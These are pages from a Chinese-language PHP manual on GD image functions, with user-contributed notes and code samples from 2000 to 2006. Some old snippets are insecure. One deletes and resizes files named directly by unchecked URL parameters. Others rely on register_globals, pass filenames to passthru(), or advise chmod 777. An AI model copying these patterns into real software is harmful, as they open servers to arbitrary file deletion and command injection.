   and another upload directory

   */

   $dir_name = "FooBar";  // Enter the name of the directory that contains the images
   $olddir = getcwd();  // Get the Current Windows Directory to be able to switch back in the end of the script
   $dir = opendir($dir_name); //make a directory handle
   //To delete a picture
   if(isset($_GET['delpic'])){
       chdir('images');
       $delpic = $_GET['delpic'];
       @unlink($delpic);
       chdir($olddir);
   }
   //To resize a picture
   if(isset($_GET['resize'])){
       //$_GET['resize'] contains the resize-percentage (for example 80 and 40, for 80% and 40% respectively. To double the image in size the user enters 200 etc.)
       // File and new size
       $percent = ($_GET['resize']/100);
       chdir('images');// change the windows directory to the image directory
       $filename = $_GET['resizepic'];

       // Decide the content type, NB:This code is written to only execute on .gif's and .jpg's
       // If you want other formats than .gif's and .jpg's add your code here, in the same manner:
       $format='';
       if(preg_match("/.jpg/i", "$filename")){
           $format = 'image/jpeg';
           header('Content-type: image/jpeg');
       }
       if (preg_match("/.gif/i", "$filename")){
           $format = 'image/gif';
           header('Content-type: image/gif');
       }
       if($format!=''){  //This is where the actual resize process begins...
           // Get new sizes
           list($width, $height) = getimagesize($filename);
           $newwidth = $width * $percent;
           $newheight = $height * $percent;

           // Load the image
           switch($format){
               case 'image/jpeg':
                   $source = imagecreatefromjpeg($filename);
               break;
               case 'image/gif';
                   $source = imagecreatefromgif($filename);
               break;
           }
           //Get the Image
           $thumb = imagecreatetruecolor($newwidth,$newheight);
           //This must be set to false in order to be able to overwrite the black
           //pixels in the background with transparent pixels. Otherwise the new
           //pixels would just be applied on top of the black background.
           imagealphablending($thumb, false);
           //Make a temporary file handle
           $source = @imagecreatefromjpeg($filename);
           // Resize
           imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
           //Write the image to the destination file
           @imagejpeg($thumb, $filename);
           //Change back to the old directory... I'm not sure that this is neccessary
           chdir($olddir);
           //Specify where you want the user to go after the operation:
           header('Location: foobar.php');
       }
   }

?>
thomas at dermueller dot com
11-Feb-2005 05:23
Just in addition to the script posted by marcy DOT xxx (AT) gmail.com:

There is one error in this script, that's why it didn't work for me.

Instead of this line:
$source = @function_image_create($imgfile);

use this line:
$source = @$function_image_create($imgfile);
marcy DOT xxx (AT) gmail.com
03-Jan-2005 03:06
This example allow to use every kind of image and to resize images with ImageCopyResized(), maintaining proportions..

<?php
// switch to find the correct type of function

$imgfile = 'namefile.jpg';
Header("Content-type: image/".$_GET["type"]);

switch($_GET["type"]){
default:
   $function_image_create = "ImageCreateFromJpeg";
   $function_image_new = "ImageJpeg";
break;
case "jpg":
   $function_image_create = "ImageCreateFromJpeg";
   $function_image_new = "ImageJpeg";
case "jpeg":
   $function_image_create = "ImageCreateFromJpeg";
   $function_image_new = "ImageJpeg";
break;
case "png":
   $function_image_create = "ImageCreateFromPng";
   $function_image_new = "ImagePNG";
break;
case "gif":
   $function_image_create = "ImageCreateFromGif";
   $function_image_new = "ImagePNG";
break;
}

list($width, $height) = getimagesize($imgfile);

// the new weight of the thumb

$newheight = 80;

// Proportion is maintained

$newwidth = (int) (($width*80)/$height);

$thumb = ImageCreateTrueColor($newwidth,$newheight);
$source = @function_image_create($imgfile);

ImageCopyResized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);

@$function_image_new($thumb);
?>
backglancer at hotmail
14-Dec-2004 11:10
Neat script to create a thumbnails no larger than 150 (or user-specific) height AND width.

<?PHP
$picture ="" # picture fileNAME here. not address
$max=150;    # maximum size of 1 side of the picture.
/*
here you can insert any specific "if-else",
or "switch" type of detector of what type of picture this is.
in this example i'll use standard JPG
*/

$src_img=ImagecreateFromJpeg($picture);

$oh = imagesy($src_img);  # original height
$ow = imagesx($src_img);  # original width

$new_h = $oh;
$new_w = $ow;

if($oh > $max || $ow > $max){
       $r = $oh/$ow;
       $new_h = ($oh > $ow) ? $max : $max*$r;
       $new_w = $new_h/$r;
}
// note TrueColor does 256 and not.. 8
$dst_img = ImageCreateTrueColor($new_w,$new_h);

ImageCopyResized($dst_img, $src_img, 0,0,0,0, $new_w, $new_h, ImageSX($src_img), ImageSY($src_img));

ImageJpeg($dst_img, "th_$picture");

?>
skurrilo at skurrilo dot de
28-Nov-2000 11:36
If you aren't happy with the quality of the resized images, just give ImageMagick a try. (http://www.imagemagick.org) This is a commandline tool for converting and viewing images.
add a note add a note

后退 | 起点 | 前进
imagecopyresampled | 上一级 | imagecreate


imagecreate

(PHP 3, PHP 4, PHP 5)

imagecreate -- 新建一个基于调色板的图像

说明

resource imagecreate ( int x_size, int y_size )

imagecreate() 返回一个图像标识符，代表了一幅大小为 x_size 和 y_size 的空白图像。

推荐使用 imagecreatetruecolor()。

例子 1. 新建一个新的 GD 图像流并输出图像

<?php
header("Content-type: image/png");
$im = @imagecreate(100, 50)
    or die("Cannot Initialize new GD image stream");
$background_color = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);
imagepng($im);
imagedestroy($im);
?>

参见 imagedestroy() 和 imagecreatetruecolor()。

add a note add a note User Contributed Notes
help at nanomc dot com
09-Nov-2005 03:29
// A simple XY graph

<html>
<head>

 <title>XY Graph</title>

<h2>Practice XY Graph</h2>
</head>
<body>

<?php
$left = 0;
$top = 0;
$x_size = 400;
$y_size = 400;

$char_width = 8;
$char_height = 11;

$x_start = $x_left + 100;
$y_start = $top + $char_height * 1.5;
$x_end = $x_start + $x_size;
$y_end = $y_start + $y_size;
$right = $x_start + $x_size + 40;
$bottom = $y_start + $y_size + $char_height * 1.5;

$graph_n = 100;
for($i = 0; $i < $graph_n; $i++ )
   {
   $graph_x[$i] = $i;
   $graph_y[$i] = $i * $i;
   }

   $min_x = 9e99;
   $min_y = 9e99;
   $max_x = -9e99;
   $max_y = -9e99;

   $avg_y = 0.0;

   for($i = 0; $i < $graph_n; $i++ )
       {
       if( $graph_x[$i] < $min_x )
           $min_x = $graph_x[$i];

       if( $graph_x[$i] > $max_x )
           $max_x = $graph_x[$i];

       if( $graph_y[$i] < $min_y )
           $min_y = $graph_y[$i];

       if( $graph_y[$i] > $max_y )
           $max_y = $graph_y[$i];

       $avg_y += $graph_y[$i];
       }

   $avg_y = $avg_y / $graph_n;

   $min_x = 0;
   $min_y = 0;
   $max_x += $max_x * 0.05;
   $max_y += $max_y * 0.05;

$image = ImageCreate($right - $left, $bottom - $top);
$background_color = imagecolorallocate($image, 255, 255, 255);
$text_color = imagecolorallocate($image, 233, 14, 91);

$grey = ImageColorAllocate($image, 204, 204, 204);
$white = imagecolorallocate($image, 255, 255, 255);
$black = imagecolorallocate($image, 0, 0, 0);
$red = imagecolorallocate($image, 255, 0, 0);

imagerectangle($image, $left, $top, $right - 1, $bottom - 1, $black );
imagerectangle($image, $x_start, $y_start, $x_end, $y_end, $grey );

for($i = 0; $i < $graph_n; $i++ )
   {
   $pt_x = $x_start + ($x_end-$x_start)*($graph_x[$i]-$min_x)/($max_x-$min_x);
   $pt_y = $y_end - ($y_end - $y_start)*($graph_y[$i]-$min_y)/($max_y-$min_y);

 //  imagesetpixel( $image, $pt_x, $pt_y, $black );
   imagechar($image, 2, $pt_x - 3, $pt_y - 10, '.', $black);
   }

$string = sprintf("%2.5f", $max_y);
imagestring($image, 4, $x_start - strlen($string) * $char_width, $y_start - $char_width, $string, $black);

$string = sprintf("%2.5f", $min_y);
imagestring($image, 4, $x_start - strlen($string) * $char_width, $y_end - $char_height, $string, $black);

$string = sprintf("%2.5f", $min_x);
imagestring($image, 4, $x_start - (strlen($string) * $char_width)/2, $y_end, $string, $black);

$string = sprintf("%2.5f", $max_x);
imagestring($image, 4, $x_end - (strlen($string) * $char_width) / 2, $y_end, $string, $black);

$x_title = 'x axis';
$y_title = 'y axis';

imagestring($image, 4, $x_start + ($x_end - $x_start) / 2 - strlen($x_title) * $char_width / 2, $y_end, $x_title, $black);

imagestring($image, 4, $char_width, ($y_end - $y_start) / 2, $y_title, $black);

header('Content-type: image/png');
$filename = sprintf("%d.png", time());
ImagePNG($image,$filename);
ImageDestroy($image);

printf("<img src='%s'> ", $filename);
?>

</body>
</html>
DHKold
16-Jun-2005 05:52
to create an image from a BMP file, I made this function, that return a resource like the others ImageCreateFrom function:

<?php
/*********************************************/
/* Fonction: ImageCreateFromBMP              */
/* Author:  DHKold                          */
/* Contact:  admin@dhkold.com                */
/* Date:    The 15th of June 2005          */
/* Version:  2.0B                            */
/*********************************************/

function ImageCreateFromBMP($filename)
{
 //Ouverture du fichier en mode binaire
   if (! $f1 = fopen($filename,"rb")) return FALSE;

 //1 : Chargement des enttes FICHIER
   $FILE = unpack("vfile_type/Vfile_size/Vreserved/Vbitmap_offset", fread($f1,14));
   if ($FILE['file_type'] != 19778) return FALSE;

 //2 : Chargement des enttes BMP
   $BMP = unpack('Vheader_size/Vwidth/Vheight/vplanes/vbits_per_pixel'.
                 '/Vcompression/Vsize_bitmap/Vhoriz_resolution'.
                 '/Vvert_resolution/Vcolors_used/Vcolors_important', fread($f1,40));
   $BMP['colors'] = pow(2,$BMP['bits_per_pixel']);
   if ($BMP['size_bitmap'] == 0) $BMP['size_bitmap'] = $FILE['file_size'] - $FILE['bitmap_offset'];
   $BMP['bytes_per_pixel'] = $BMP['bits_per_pixel']/8;
   $BMP['bytes_per_pixel2'] = ceil($BMP['bytes_per_pixel']);
   $BMP['decal'] = ($BMP['width']*$BMP['bytes_per_pixel']/4);
   $BMP['decal'] -= floor($BMP['width']*$BMP['bytes_per_pixel']/4);
   $BMP['decal'] = 4-(4*$BMP['decal']);
   if ($BMP['decal'] == 4) $BMP['decal'] = 0;

 //3 : Chargement des couleurs de la palette
   $PALETTE = array();
   if ($BMP['colors'] < 16777216)
   {
   $PALETTE = unpack('V'.$BMP['colors'], fread($f1,$BMP['colors']*4));
   }

 //4 : Cration de l'image
   $IMG = fread($f1,$BMP['size_bitmap']);
   $VIDE = chr(0);

   $res = imagecreatetruecolor($BMP['width'],$BMP['height']);
   $P = 0;
   $Y = $BMP['height']-1;
   while ($Y >= 0)
   {
   $X=0;
   while ($X < $BMP['width'])
   {
     if ($BMP['bits_per_pixel'] == 24)
       $COLOR = unpack("V",substr($IMG,$P,3).$VIDE);
     elseif ($BMP['bits_per_pixel'] == 16)
     {
       $COLOR = unpack("n",substr($IMG,$P,2));
       $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     elseif ($BMP['bits_per_pixel'] == 8)
     {
       $COLOR = unpack("n",$VIDE.substr($IMG,$P,1));
       $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     elseif ($BMP['bits_per_pixel'] == 4)
     {
       $COLOR = unpack("n",$VIDE.substr($IMG,floor($P),1));
       if (($P*2)%2 == 0) $COLOR[1] = ($COLOR[1] >> 4) ; else $COLOR[1] = ($COLOR[1] & 0x0F);
       $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     elseif ($BMP['bits_per_pixel'] == 1)
     {
       $COLOR = unpack("n",$VIDE.substr($IMG,floor($P),1));
       if    (($P*8)%8 == 0) $COLOR[1] =  $COLOR[1]        >>7;
       elseif (($P*8)%8 == 1) $COLOR[1] = ($COLOR[1] & 0x40)>>6;
       elseif (($P*8)%8 == 2) $COLOR[1] = ($COLOR[1] & 0x20)>>5;
       elseif (($P*8)%8 == 3) $COLOR[1] = ($COLOR[1] & 0x10)>>4;
       elseif (($P*8)%8 == 4) $COLOR[1] = ($COLOR[1] & 0x8)>>3;
       elseif (($P*8)%8 == 5) $COLOR[1] = ($COLOR[1] & 0x4)>>2;
       elseif (($P*8)%8 == 6) $COLOR[1] = ($COLOR[1] & 0x2)>>1;
       elseif (($P*8)%8 == 7) $COLOR[1] = ($COLOR[1] & 0x1);
       $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     else
       return FALSE;
     imagesetpixel($res,$X,$Y,$COLOR[1]);
     $X++;
     $P += $BMP['bytes_per_pixel'];
   }
   $Y--;
   $P+=$BMP['decal'];
   }

 //Fermeture du fichier
   fclose($f1);

 return $res;
}
?>
06-Jan-2005 05:30
This is how you can create a thumbnail with maximum height and width. This way it will fit nicely in a gallery table. In this example $im is the source image
<?
   //calculate thumb size
           $ow = imagesx($im);
           $oh = imagesy($im);
           $maxh = 100;
           $maxw = 150;
           $new_h = $oh;
           $new_w = $ow;

           if($oh > $maxh || $ow > $maxw){
               $new_h = ($oh > $ow) ? $maxh : $oh*($maxw/$ow);
               $new_w = $new_h/$oh*$ow;
           }

           //create dst image
           $dst_img = ImageCreateTrueColor($new_w,$new_h);
           //resize and copy image
           ImageCopyResized($dst_img, $im, 0,0,0,0, $new_w, $new_h, ImageSX($im), ImageSY($im));
           $function_image_new($dst_img,$galdir.$file);
?>
info at henrici dot biz
14-Aug-2004 01:27
To make the gd library available for Apache2/mod_php on Gentoo the following steps are required (and sufficient):
1) Add a USE flag for gd in "/etc/make.conf":
   USE="<other use flags> gd"
   A list of all of the USE flags can be found at: http://www.gentoo.org/dyn/use-index.xml
2) Re-emerge mod_php by executing "emerge mod_php"
3) Restart apache2 by executing "/etc/init.d/apache2 restart"

You need not uncomment the "extension=php_gd2.dll" line in "php.ini" as mentioned in a previous posting (since that line is only relevant for Windows).
cstevens at gencom dot us
21-Apr-2004 07:56
Here's how I resolved the "Fatal error: Call to undefined function: imagecreate()" error using Gentoo:

1) add a USE flag for gdb in /etc/make.conf

   USE="3dnow avi [whatever else you have] gdb"

   Note: here's a list of all of the USE flags:
   http://www.gentoo.org/dyn/use-index.xml

2) unmerged mod_php

*Note* It could take awhile to "remerge" as it may need to compile several dependancies...do this during not production hours and have a backup if you absolutely cannot have downtime

   emerge -C mod_php

3) emerged mod_php

   emerge -p mod_php
   # find out if it's going to take awhile

4) edit /etc/php/apach2-php4/php.ini
     uncomment the "extension=php_gd2.dll" line

5) Restart apache2

   /etc/init.d/apache2 restart

Hope this helps!

--
Cooper Stevenson
GenCom
http://www.gencom.us
foxlovr1 at cox dot net
13-Apr-2004 07:11
You can set it up so you can write a text which is controled from the URL.

Like this...

<?php
header("Content-type: image/png");
$im = @imagecreate(128, 16) or die("Cannot Initialize new GD image stream");
$bc = imagecolorallocate($im, 0, 255, 255);
$tc = imagecolorallocate($im, 0, 0, 0);
imagestring($im, 1, 4, 4,  $t, $tc);
imagepng($im);
imagedestroy($im);
?>

Then when you use the image, use this...

<img src="http://www.yourdomain.com/stuff/cool_image.php?t=Text">

This will create an image with a cyan background, and in black text it will say "Text"

EMail me at foxlovr1@cox.net or aquafox90@yahoo.com for comments/questions.
sjnorrie at hotmail dot com
04-Dec-2003 03:07
On windows.

When you get undefined function image* it means the gd library isnt being used. Check the php.ini file. Make sure the php_gd.dll isnt commented out. Restarting apache should result in the image functions working.
tassader at xmail dot cz
21-Oct-2003 11:55
It seems that imagecreate creates a grayscale image with gd2
tore at kyberheimen dot com
30-Aug-2002 05:33
GD UPGRADE PROBLEM:
I used imagecreate with gd 1.6 to make resized images of big photos. Then, when using the same script on gd 2.0, the colors got all wrong.
Using imagecreatetruecolor() fixed the problem!
php at silisoftware dot com
18-May-2002 01:17
Don't try and create an image with a really large width and/or height. First, $width x $height is (at least) the bytes of memory that need to be allocated. Secondly, if you exceed the range of int for either parameter, Apache crashes (before allocating any memory).
Don't ask how I figured this out ;)
robert at scpallas dot de
09-Feb-2002 12:09
The function ImageCreate() creates a PALETTE image.
The function ImageCreateFromJPEG() creates a TRUE COLOR image.

When you use GD 2.0 you will get an error when you try to use ImageCopy()
with one True color image and one Palette image.

Be sure to convert one of the images before using ImageCopy() or use ImageCreateTrueColor() instead of ImageCreate().
andrus at vnet dot ee
09-Jul-2001 12:09
Dont forget to use ImageDestoy after showed image. I forgot it, my webpage had about 15 pictures what was generated by GD and webserver died very fastly (server was Dual Xeon 900MHz and 4G RAM :[[ ). It died cos of not enough memory :\
wouter at rusman dot net
06-Jul-2001 08:31
to compile GD support on some linux distributions you have to include these with the ./configure command :
--with=gd=/usr --with-jpeg=/usr --with-png=/usr --with-zlib=/usr

(i had to include this on Redhat 6.1)
this becase the libraries are in /usr/lib instead of /lib
altype at bellsouth dot net
20-Apr-2001 07:13
ImagePNG($pic,"./dir/pic.png");

To save image as a file, I had to create a directory "dir" and CHMOD 777 to give read, write, and execute permission for everyone - or it wouldn't save it...
removethisbeforebayet at removethistooenseirb dot fr
09-Feb-2001 07:00
Pay attention to a problem I encountered.
Png images created with the PHP function seems to be very badly recognised by old browsers, especially -well, mainly - by IE 4.0 (crash of the browser).
I think this is probably due to the fact that, when IE 4.0 was released, the png format was either very recent, either not very used, because of the widespread jpeg and gif formats...
So, if you plan to dynamically create images for a web site to be seen by IE 4.0 users, think of it...
May'be the jpeg format will do the job better.
kim at kimmccall dot org
14-Dec-2000 08:22
How I fixed my "undefined function imagecreate()" problem:
I was having the same problem many have reported where most of PHP worked but the gd functions didn't.  I'd installed the RedHat rpm php-4.0.1pl2.  It said (phpinfo.php) that it had been configured with the '--with-gd=shared' option.  In my /usr/lib directory, I had both libgd.so.1.8.3 and libgd.a.  I decided to compile with the static library instead, so I downloaded the sources and built with all the same configuration flags except that I used --with-gd=/usr.  Now my gd library works!!!
rupert at complinet dot com
03-Aug-2000 03:19
one thing i've noticed is that if, after creating the image, you don't wash it with a background colour, shapes you create on top will 'bleed' to fill the image.
rolf dot winterscheidt at it-mannesmann dot de
25-Jul-2000 06:29
Since I needed some time to get something on my screen, here a small example of creating graphics:

<html>
<head>
</head>
<body>

<?php
$pic=ImageCreate(600,600);
$col1=ImageColorAllocate($pic,200,200,200);
$col2=ImageColorAllocate($pic,0,0,255);
ImageFilledRectangle($pic,1,1,100,100,$col2);
ImagePNG($pic,"pic.png");
ImageDestroy($pic);
?>
<img src="pic.png" border=0>
</body>
</html>

--
You create a color for the background ($col1, seems to be zero for the background) and one for the boxcolor. The image will be written to disk as pic.png and you get it via normal html-command "img src"... That's it.
Rolf
kb2ici at amsat dot org
29-Mar-2000 06:49
A sample php image program to create a clock

<?php
   header("Content-type: image/gif");

   $imSize        =    256;
   $clockSize        =    $imSize - 8;

   $today        =    getdate();
   $hour            =    $today[hours];
   $minutes        =    $today[minutes];
   $seconds        =    $today[seconds];
   if ($hour >= 12)
   {
       $hour    -=    12;
   }
   $hourDegress    =    $hour * 30;
   $hourDegress    +=    $minutes / 2;
   $minDegress    =    $minutes * 6;

   //*    the cordinate system stars at 3:00
   $hourDegress    -=    90;
   if ($hourDegress < 0)
   {
       $hourDegress    +=    360;
   }
   $minDegress    -=    90;
   if ($minDegress < 0)
   {
       $minDegress    +=    360;
   }

   //*    convert to radians
   $hourRadians    =    $hourDegress / 57.295779513082;
   $minRadians    =    $minDegress / 57.295779513082;

   $myImage        =    ImageCreate($imSize, $imSize);

   $white        =    ImageColorAllocate($myImage, 255, 255, 255);
   $black        =    ImageColorAllocate($myImage, 0, 0, 0);
//    $red            =    ImageColorAllocate($myImage, 255, 0, 0);
//    $green        =    ImageColorAllocate($myImage, 0, 255, 0);
   $blue            =    ImageColorAllocate($myImage, 0, 0, 255);

   ImageFill($myImage, 0, 0, $blue);
   Imageinterlace($myImage, 1);

   //*    draw the clock circle
   Imagearc($myImage, $imSize/2, $imSize/2, $clockSize, $clockSize, 0, 359, $white);

   //*    draw the hour hand
   $hourHandLen    =    ($clockSize / 2) * 0.6;
   $x2                =    $imSize/2 + ($hourHandLen * cos($hourRadians));
   $y2                =    $imSize/2 + ($hourHandLen * sin($hourRadians));
   ImageLine($myImage, $imSize/2, $imSize/2, $x2, $y2, $white);

   //*    draw the minute hand
   $minHandLen        =    ($clockSize / 2) * 0.9;
   $x2                =    $imSize/2 + ($minHandLen * cos($minRadians));
   $y2                =    $imSize/2 + ($minHandLen * sin($minRadians));
   ImageLine($myImage, $imSize/2, $imSize/2, $x2, $y2, $white);

   if ($minutes < 10)
   {
       $minutes    =    "0$minutes";
   }
   Imagestring($myImage, 3, 5, $imSize - 15, ($hour . ":" . $minutes), $white);

   Imagegif($myImage);

   Imagedestroy($myImage);

?>
phantom at t-p-l dot com
19-Feb-2000 03:11
after some experimenting I've come to the following concusions:
1) if you don't have GD when compiling PHP you have to recompile PHP to enable GD support..
2) imagepng() works the same way as imagegif() just creates png's ..
3) the first color you imagecolormatch becomes the background.. hmm..

hope this helps anyone =)
scott at mha dot ca
10-Feb-2000 03:49
okay .. listen .. if you are getting fatal errors attempting to use ImageCreate() then you most probably do not have GD installed .. Likewise, if you are getting fatal errors attempting to use ImageGIF() then you are most probably using a version of GD which does not support the GIF format.  Notice that in both of these examples that the problem has nothing to do with PHP or whether or not PHP "supports" any particular function.  You must have the GD image library installed to make images work.  It is as simple as that.  Furthermore, although current versions of GD do NOT support the GIF format, I know that old versions of GD (ie. version 1.3) do support the GIF format but they are probably illegal to use now because of the fuss that unisys has been making about it.
add a note add a note

后退 | 起点 | 前进
imagecopyresized | 上一级 | imagecreatefromgd2


imagecreatefromgd2

(PHP 4 >= 4.1.0, PHP 5)

imagecreatefromgd2 -- 从 GD2 文件或 URL 新建一图像

说明

resource imagecreatefromgd2 ( string filename )

警告

本函数暂无文档，仅有参数列表。

注: 本函数需要 GD 2.0.1 或更高版本。

提示: 如果“fopen wrappers”已经被激活，则在本函数中可以把 URL 作为文件名来使用。请参阅 fopen() 函数来获取怎样指定文件名的详细信息以及支持 URL 封装协议的列表：附录 L。

警告

Windows 版本的 PHP 在 4.3.0 版之前不支持本函数的远程文件访问，即使 allow_url_fopen 选项已被激活。

add a note add a note User Contributed Notes
garrett at garrettm dot com
26-Nov-2002 01:06
i was working on getting gd 2.0.7 and php 4.2.3 to compile, undefined functions error, had to modify about 4 lines, 3 in php's source, ext/gd/gd.c and ext/gd/gd_ctx.c find anyline in those two files that matches

io_ctx->free

and make it

io_ctx->gd_free

and it should compile.
fiji at free dot fr
14-Oct-2002 07:50
I had to made some modification to enable and compile gd2.0.1 with php4.2.3 here it is:
get and untar gd2.0.1 beta
if your server as mine doesn't have any X support or you don't want it, open Makefile to disable xpm support, find "gdxpm.o"  in lines and delete it (because even if you don't ask for it in libs cmd it will compile in and you'll get an error when loading requesting libXpm)
remove any libgd1.so.xx
"make install"
in php goto ext/gd dir
modify gd.c and add "#define HAVE_LIBGD20 1" at the beginning
compile (don't forget giving the --with-jpeg-dir and png too), install and it should works
add a note add a note

后退 | 起点 | 前进
imagecreate | 上一级 | imagecreatefromgd2part


imagecreatefromgd2part

(PHP 4 >= 4.1.0, PHP 5)

imagecreatefromgd2part -- 从给定的 GD2 文件或 URL 中的部分新建一图像

说明

resource imagecreatefromgd2part ( string filename, int srcX, int srcY, int width, int height )

警告

本函数暂无文档，仅有参数列表。

注: 本函数需要 GD 2.0.1 或更高版本。

提示: 如果“fopen wrappers”已经被激活，则在本函数中可以把 URL 作为文件名来使用。请参阅 fopen() 函数来获取怎样指定文件名的详细信息以及支持 URL 封装协议的列表：附录 L。

警告

Windows 版本的 PHP 在 4.3.0 版之前不支持本函数的远程文件访问，即使 allow_url_fopen 选项已被激活。

add a note add a note User Contributed Notes
dmitry[dog]astl.ru
05-May-2006 05:36
documentation on http://www.boutell.com/gd/manual2.0.33.html#gdImageCreateFromGd2Part
add a note add a note

后退 | 起点 | 前进
imagecreatefromgd2 | 上一级 | imagecreatefromgd


imagecreatefromgd

(PHP 4 >= 4.1.0, PHP 5)

imagecreatefromgd -- 从 GD 文件或 URL 新建一图像

说明

resource imagecreatefromgd ( string filename )

警告

本函数暂无文档，仅有参数列表。

提示: 如果“fopen wrappers”已经被激活，则在本函数中可以把 URL 作为文件名来使用。请参阅 fopen() 函数来获取怎样指定文件名的详细信息以及支持 URL 封装协议的列表：附录 L。

警告

Windows 版本的 PHP 在 4.3.0 版之前不支持本函数的远程文件访问，即使 allow_url_fopen 选项已被激活。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imagecreatefromgd2part | 上一级 | imagecreatefromgif


imagecreatefromgif

(PHP 3, PHP 4, PHP 5)

imagecreatefromgif -- 从 GIF 文件或 URL 新建一图像

说明

resource imagecreatefromgif ( string filename )

imagecreatefromgif() 返回一图像标识符，代表了从给定的文件名取得的图像。

imagecreatefromgif() 在失败时返回一个空字符串，并且输出一条错误信息，不幸地在浏览器中显示为断链接。为减轻调试工作下面的例子会产生一个错误 GIF：

例子 1. 处理创建过程中的错误

<?php
function LoadGif($imgname)
{
    $im = @imagecreatefromgif($imgname); /* Attempt to open */
    if(!$im) { /* See if it failed */
        $im = imagecreatetruecolor(150, 30); /* Create a blank image */
        $bgc = imagecolorallocate($im, 255, 255, 255);
        $tc = imagecolorallocate($im, 0, 0, 0);
        imagefilledrectangle($im, 0, 0, 150, 30, $bgc);
        /* Output an errmsg */
        imagestring($im, 1, 5, 5, "Error loading $imgname", $tc);
    }
    return $im;
}
?>

注: 自 GD 库 1.6 版起所有的 GIF 支持都移除了，又在 GD 库 2.0.28 版起又加了回来。如果使用二者之间版本的 GD 库时本函数不可用。

提示: 如果“fopen wrappers”已经被激活，则在本函数中可以把 URL 作为文件名来使用。请参阅 fopen() 函数来获取怎样指定文件名的详细信息以及支持 URL 封装协议的列表：附录 L。

警告

Windows 版本的 PHP 在 4.3.0 版之前不支持本函数的远程文件访问，即使 allow_url_fopen 选项已被激活。

add a note add a note User Contributed Notes
mhbernheim at lasnite dot com
08-May-2006 03:20
doesn't seem to work with animated gifs, the frames are all messed up
razonklnbd at yahoo dot com
18-Dec-2005 03:35
this function will convert gif image to jpeg. it take three parameter as argument. two argument are optional
first will take the gif file name. second for file name to save the converted file. third argument is an color array

function gif2jpeg($p_fl, $p_new_fl='', $bgcolor=false){
  list($wd, $ht, $tp, $at)=getimagesize($p_fl);
  $img_src=imagecreatefromgif($p_fl);
  $img_dst=imagecreatetruecolor($wd,$ht);
  $clr['red']=255;
  $clr['green']=255;
  $clr['blue']=255;
  if(is_array($bgcolor)) $clr=$bgcolor;
  $kek=imagecolorallocate($img_dst,
                 $clr['red'],$clr['green'],$clr['blue']);
  imagefill($img_dst,0,0,$kek);
  imagecopyresampled($img_dst, $img_src, 0, 0,
                 0, 0, $wd, $ht, $wd, $ht);
  $draw=true;
  if(strlen($p_new_fl)>0){
   if($hnd=fopen($p_new_fl,'w')){
     $draw=false;
     fclose($hnd);
   }
  }
  if(true==$draw){
   header("Content-type: image/jpeg");
   imagejpeg($img_dst);
  }else imagejpeg($img_dst, $p_new_fl);
  imagedestroy($img_dst);
  imagedestroy($img_src);
}

EXAMPLE:
$fl='http://www.suchona.com/test/testgif.gif';
$c['red']=255;
$c['green']=0;
$c['blue']=0;
gif2jpeg($fl, '', $c);

Thanks
Md. Shahadat Hossain Khan Razon
razon.phpxperts.com
ZeBadger
16-Dec-2005 01:15
I have written this code to detect if a gif file is animated or not.  I thought I would share it :-)

<?php

function is_ani($filename)
{
       $filecontents=file_get_contents($filename);

       $str_loc=0;
       $count=0;
       while ($count < 2) # There is no point in continuing after we find a 2nd frame
       {

               $where1=strpos($filecontents,"\x00\x21\xF9\x04",$str_loc);
               if ($where1 === FALSE)
               {
                       break;
               }
               else
               {
                       $str_loc=$where1+1;
                       $where2=strpos($filecontents,"\x00\x2C",$str_loc);
                       if ($where2 === FALSE)
                       {
                               break;
                       }
                       else
                       {
                               if ($where1+8 == $where2)
                               {
                                       $count++;
                               }
                               $str_loc=$where2+1;
                       }
               }
       }

       if ($count > 1)
       {
               return(true);

       }
       else
       {
               return(false);
       }
}

exec("ls *gif" ,$allfiles);
foreach ($allfiles as $thisfile)
{
       if (is_ani($thisfile))
       {
               echo "$thisfile is animated<BR>\n";
       }
       else
       {
               echo "$thisfile is NOT animated<BR>\n";
       }
}
?>

It could quite easily be modified to count the number of frames if you required.
steve at stevedix dot de
25-Oct-2005 03:20
If anyone is looking for the Yamasoft gif conversion utility :

Although Yamasoft's website is long gone, the code can be found on the following websites :
 http://www.fpdf.org/phorum/read.php?f=1&i=9418&t=7568#9418

http://www.fpdf.org/download/php-gif.zip

http://phpthumb.sourceforge.net/index.php?source=phpthumb.gif.php
jason at null dot zzz
06-Apr-2004 05:13
thanks yamasoft for the gif to png lib.  it works!  but, there is one bug.  i changed line 1003 to this:

if(isset($this->m_img->m_bTrans) && $this->m_img->m_bTrans && ($nColors > 0)) {

because i was getting an error that m_bTrans is undefined.  i think this is because my gif has no transparency.  after i updated this line, there were no problems.

thanks!

-j
josh [ a t ] OnlineComics [ d o t ] net
08-Oct-2003 11:36
I just installed gif2png on my server, and it took a little research on my part to figure out that this...

passthru("$path/gif2png -O $image_path/image.gif")

will not work if safe mode is on. If you're on a shared server, it probably is. You don't need to turn safe mode off, however, just set the safe_mode_exec_dir variable in your php.ini file to the directory where you installed gif2png. Then you'll be able to execute the program from your PHP script.
29-Jun-2003 07:26
function LoadGif ($imgname) {
   $im = @ImageCreateFromGIF ($imgname); /* Attempt to open */
   if (!$im) { /* See if it failed */
       $im = ImageCreate (150, 30); /* Create a blank image */
       $bgc = ImageColorAllocate ($im, 255, 255, 255);
       $tc  = ImageColorAllocate ($im, 0, 0, 0);
       ImageFilledRectangle ($im, 0, 0, 150, 30, $bgc);
       /* Output an errmsg */
       ImageString($im, 1, 5, 5, "Error loading $imgname", $tc);
   }
   return $im;
}
19-Apr-2003 12:34
re: 09-May-2002 11:31

Seems gif2png is no longer at http://www.tuxedo.org/~esr/gif2png/
I found a Win32 version at http://www.r1ch.net/stuff/gif2png/
(for the Unix and source, see http://catb.org/~esr/gif2png/ )

In Win32,
  passthru("gif2png $filename");
works fine if gif2png.exe is in the path.
It will overwrite the file with .png extension, so be careful,or use temp files as in the post referenced above (without the  -O; type "gif2png" at the command line for the options).

I had a problem with exceeding the default 30 second execution time limit in PHP, so I added this line
